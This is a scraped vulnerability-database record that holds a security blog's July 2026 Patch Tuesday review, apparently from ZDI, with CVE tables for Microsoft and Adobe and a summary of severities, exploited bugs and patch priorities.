Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:54.180500Z"}, {"uuid": "f721a469-be99-4b5e-b5b6-c137b4a52639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54991", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them 